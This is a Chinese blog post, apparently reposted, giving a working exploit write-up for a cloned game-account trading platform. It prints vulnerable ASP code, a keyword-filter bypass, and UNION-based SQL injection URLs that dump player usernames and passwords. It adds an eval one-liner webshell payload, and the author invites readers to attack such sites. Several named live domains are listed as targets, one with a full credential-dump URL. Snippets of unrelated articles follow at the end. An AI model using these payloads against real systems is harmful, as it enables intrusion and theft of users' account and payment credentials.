仿5173游戏交易平台系统SQL注入(可直接脱裤)+Getshell

最近没事登登好几年前玩过的游戏看看,发现有人喊高价收号,这一看就是骗子,这等骗子还想骗我?我就来看看这逗逼是怎么骗人的,结果发现这人给了一个说是 5173平台交易的网站,叫我直接把号的信息填上去然后填好了之后就去他就会去购买,然后仔细看了一下平台,获取了源代码后看了一下~呵呵,漏洞还是有不 少的~ 仿5173网游交易平台游戏交易平台存在注入与getshell漏洞,可直接拖掉玩家数据~
    发乌云上乌云不收,所以没事就发zone里给大家玩玩。其实这系统还是蛮多漏洞的,我最痛恨骗子了,大家能搞几个骗子平台就搞几个去吧~案例上大多都是一些骗子搭建来钓鱼的。

A:SQL注入一:

漏洞文件:/help.asp

<!--#include file="conn.asp"-->

<!--#include file="inc/config.asp"-->

<%

if trim(request("id")) <> "" then

set rs=conn.execute("select * from help where id ="&trim(request("id"))&" order by paixu asc")

if not rs.eof then

title=rs("help_title")

content=rs("help_content")

end if

else

set rs=conn.execute("select top 1 * from help order by paixu asc")

if not rs.eof then

title=rs("help_title")

content=rs("help_content")

end if

end if%>

这里id参数过滤不严存在sql注入的,但是conn.asp中包含了:

<!--#include file="sqlin.asp"-->都知道这个防注入文件很垃圾吧,只做了GET和POST的防注入,可直接转为cookie注入绕过

这个注入我就不多研究了,看下一个支持UNION query的注入点。

B:SQL注入二

漏洞文件:/card_server.asp

<%

function OpenDB(sdbname)

{

/*

*--------------- OpenDB(sdbname) -----------------

* OpenDB(sdbname)

* 功能:打开数据库sdbname,返回conn对象.

* 参数:sdbname,字符串,数据库名称.

* 实例:var conn = OpenDB("database.mdb");

*--------------- OpenDB(sdbname) -----------------

*/

/*var connstr = "driver={SQL Server};server=.;uid=sa;pwd=7881541;database=wangyou";*/

var connstr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source="+Server.MapPath(sdbname);

var conn = Server.CreateObject("ADODB.Connection");

conn.Open(connstr);

return conn;

}

var oConn = OpenDB("HSGAMEDB/#HSgame201008041121.asp");

var sel = Request("sel");

var classid = Request("classid")

var fieldname = Request("fieldname")

var arrResult = new Array();

//var sql = "select "+fieldname+" from game_class where parentid=‘"+sel+"‘ and classid="+classid;

var sql = "select * from card_class where parentid="+sel+"";

//Response.Write("alert("+sql+")")

var rs0 = Server.CreateObject("ADODB.Recordset");

rs0.Open(sql,oConn,1,1);

while(!rs0.EOF)

{

//遍历所有适合的数据放入arrResult数组中.

arrResult[arrResult.length] = rs0(0).Value+"|"+rs0(1).Value;

rs0.MoveNext();

}

//escape解决了XMLHTTP。中文处理的问题.

//数组组合成字符串.由","字符串连接.

Response.Write(escape(arrResult.join(",")));

%>

这里没有直接包含数据库连接文件,直接创建了连接对象,导致这一个注入是无法被sqlin.asp防御,注意,Request的sel参数没有过滤直接带入查询导致了SQL注入。简单构造一下注入点:

http://127.0.0.1/card_server.asp?sel=1‘

Microsoft JET Database Engine 错误 ‘80040e14‘

字符串的语法错误 在查询表达式 ‘parentid=1‘‘ 中。

/card_server.asp,行 28

支持联合查询,可直脱掉ganme_user的玩家数据,好像sqlmap没有game_user的字典吧?。还有一个字段"alipay_pwd"是用户的支付密码~

http://127.0.0.1/card_server.asp?sel=1%20union%20select%20user_name,login_pwd,3,4,5,6,7,8,9%20from%20game_user

由于通用型的要5个案例,那我就来五个~

http://hhgg88.com/card_server.asp?sel=1

http://www.loft98.com.cn/card_server.asp?sel=1

http://mosouu.com/card_server.asp?sel=1

http://gaoyi.cc/card_server.asp?sel=1

http://www.631hk.com/card_server.asp?sel=1

我来脱个裤子给大家看看:

http://www.tylsf.com.cn/card_server.asp?sel=1%20union%20select%20user_name,login_pwd,3,4,5,6,7,8,9%20from%20game_user

C:GETSHELL:

漏洞文件:/SqlIn.Asp

<%

‘--------数据库连接部分--------------

‘dim dbkillSql,killSqlconn,connkillSql

dbkillSql="sql_whelpu.asp"

‘On Error Resume Next

Set killSqlconn = Server.CreateObject("ADODB.Connection")

connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbkillSql)

killSqlconn.Open connkillSql

If Err Then

err.Clear

Set killSqlconn = Nothing

Response.Write "数据库连接出错,请检查连接字串。"

Response.End

End If

‘--------定义部份------------------

‘Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql

‘自定义需要过滤的字串,用 "|" 分隔

Fy_In = "‘|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"

Kill_IP=True

WriteSql=True

‘----------------------------------

Fy_Inf = split(Fy_In,"|")

‘--------POST部份------------------

If Request.Form<>"" Then

For Each Fy_Post In Request.Form

For Fy_Xh=0 To Ubound(Fy_Inf)

If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then

If WriteSql=True Then

killSqlconn.Execute("insert into
SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ)
values(‘"&Request.ServerVariables("REMOTE_ADDR")&"‘,‘"&Request.ServerVariables("URL")&"‘,‘POST‘,‘"&Fy_Post&"‘,‘"&replace(Request.Form(Fy_Post),"‘","‘‘")&"‘)")

killSqlconn.close

Set killSqlconn = Nothing

End If

Response.Write "<Script Language=JavaScript>alert(‘系统提示:108非法操作!‘);</Script>"

Response.Write "非法操作!系统做了如下记录↓<br>"

Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"

Response.Write "操作时间:"&Now&"<br>"

Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"

Response.Write "提交方式:POST<br>"

Response.Write "提交参数:"&Fy_Post&"<br>"

Response.Write "提交数据:"&Request.Form(Fy_Post)

Response.Redirect("default.asp")

Response.End

End If

Next

Next

End If

‘----------------------------------

‘--------GET部份-------------------

If Request.QueryString<>"" Then

For Each Fy_Get In Request.QueryString

For Fy_Xh=0 To Ubound(Fy_Inf)

If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then

If WriteSql=True Then

killSqlconn.Execute("insert into
SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ)
values(‘"&Request.ServerVariables("REMOTE_ADDR")&"‘,‘"&Request.ServerVariables("URL")&"‘,‘GET‘,‘"&Fy_Get&"‘,‘"&replace(Request.QueryString(Fy_Get),"‘","‘‘")&"‘)")

killSqlconn.close

Set killSqlconn = Nothing

End If

Response.Write "<Script Language=JavaScript>alert(‘系统提示:108非法操作!‘);</Script>"

Response.Write "非法操作!系统做了如下记录↓<br>"

Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"

Response.Write "操作时间:"&Now&"<br>"

Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"

Response.Write "提交方式:GET<br>"

Response.Write "提交参数:"&Fy_Get&"<br>"

Response.Write "提交数据:"&Request.QueryString(Fy_Get)

Response.Redirect("default.asp")

Response.End

End If

Next

Next

End If

%>

这里直接将用户非法提交的字符串写入了sql_whelpu.asp的数据库里面了,试想一下,如果故意加入一句话不就可以GETSHELL了吗? 在没有被人插入过asp的<%%>符号则可直接访问:

http://127.0.0.1/list_buy.asp?class_1=35536%20%3C%eval%20request(1)%%3E

当然如果有被人提交过的需要注意闭合就可以获取webshell了~ 这里成功将一句话写入数据库:sql_whelpu.asp,我们打开看看是不是呢?

菜刀连接:

http://127.0.0.1/sql_whelpu.asp

时间: 2024-10-04 07:44:30

仿5173游戏交易平台系统SQL注入(可直接脱裤)+Getshell的相关文章

网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞, 比如SQL注入攻击, XSS攻击. 本文将简述SQL注入攻击的原理, 并分享下关卡设计, 其在打开潘多拉魔盒的情况下, 又能很好地限制危害. 效果展示: 先打下广告: 网页闯关游戏入口(请狠狠地点击我, ^_^). 本文的想法实施于第十一关--健忘的教授. 很直接的呈现一个登陆对话框, 考验玩家

WiiNews新闻系统 SQL注入

刚开始学习代码审计,根据法师的书本和相关资料进行慢慢开始练手,这里了一款WiiNews老版本针对于练手来讲还是比较简单通俗易懂的系统来做审计! #1 SQL注入 文件:/newsBySort.php 代码10~18行: $sort=sqlReplace(trim($_GET['id'])); $sqlStr="select * from wiinews_newssort where newssort_id=$sort"; $result = mysql_query($sqlStr) o

SEED实验系列:Collabtive系统SQL注入实验

本课程原文链接为:https://www.shiyanlou.com/courses/291.实验楼已经为此课程的实践提供了在线实验环境,想要尝试体验的,可以直接前往实验楼进行实践操作. 你能够喜欢我们的课程,让我们感到异常高兴,我们也非常欢迎你将本课程分享给更多的人,我们唯一的要求就是请保留我们的课程原文链接. 一.实验描述 SQL注入漏洞的代码注入技术,利用web应用程序和数据库服务器之间的接口.通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意

利用sqlmapapi打造自动化SQL注入工具

友链:http://www.freebuf.com/sectool/74445.html 0×01 前言 各位看官看到标题吐槽帝就开始了:已经有了各种各样的注入工具,为什么还要手工打造一个? 事实上,做为一名苦逼乙方测试工程师以及漏洞盒子屌丝白帽子 ,在疲于应对各种死缠滥打的甲方以及成堆的web测试需求时,我经常遇到以下场景: (1)有大批量的网站需要检测的场景 乙方工程师工作辛苦劳累从来都不抱怨,有项目一定都是最能抗的,向无数奋斗在一线的乙方工程师致敬! (2)系统内部业务复杂可能会存在众多测

Web安全之SQL注入攻击技巧与防范

在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Webshell)通过脚本语言的漏洞上传到服务器上,从而获得服务器权限.在Web发展初期,随着动态脚本语言的发展和普及,以及早期工程师对安全问题认知不足导致很多”安全血案”的发生,至今仍然遗留下许多历史问题,比如PHP语言至今仍然无法从语言本身杜绝「文件包含漏洞」(参见这里),只能依靠工程师良好的代码规范和安全意识. 伴随着Web2.0.社交网络.微博等一系列新型互联网产品的兴起,基于Web环境的互联网应

某游戏公司后台数据库SQL注入事件分析

某游戏公司后台数据库SQL注入事件分析 人物关系简介 Blank –SA Dawn(Boss) Ryan –DBA Fred –离开公司的安全顾问 本案例出自于<Unix/Linux网络日志分析与流量监控>一书,该事例详细描述了一家公司的后台服务器被入侵,黑客从中获取了大量游戏币帐号,并发送邮件相威胁的案例.主要遇到的问题是服务器被SQL注入或受到了SQL注入攻击 Blank是XX公司的网络架构师,技术好人缘也不错,他实际的工作室XX公司的"首席救火队员",每件事他都要自己

zabbix再爆高危SQL注入漏洞,可获系统权限

漏洞概述 zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限. 官方网站 http://www.zabbix.com 影响程度 攻击成本:低 危害程度:高 是否登陆:不需要 影响范围:2.2.x, 3.0.0-3.0.3.(其他版本未经测试) 漏洞测试 在您的zabbix的地址后面加上如

zabbix 爆高危 SQL 注入漏洞,可获系统权限(profileIdx 2 参数)

漏洞概述 zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限. 影响程度 攻击成本:低 危害程度:高 是否登陆:不需要 影响范围:2.2.x, 3.0.0-3.0.3.(其他版本未经测试) 漏洞测试 在zabbix地址后面添加这串url jsrpc.php?type=9&method=s

session标签实例:简单的系统登录代码(巧妙地避开SQL注入攻击)

提交用户名和密码到服务器,以用户为条件查询用户记录,然后判断用户是不是已经注册,若注册就判断密码是否正确,正确则成功登录,在会话中记录用户的相关信息.查询中只以用户名为条件,让数据库从单列索引中快速找出匹配的用户记录,速度远快于同时使用用户名和密码作为条件的查询,而且还巧妙地避开了SQL注入攻击. 登录页 表单代码 <FORM name=form1 action="" method=post onsubmit="return checkval();">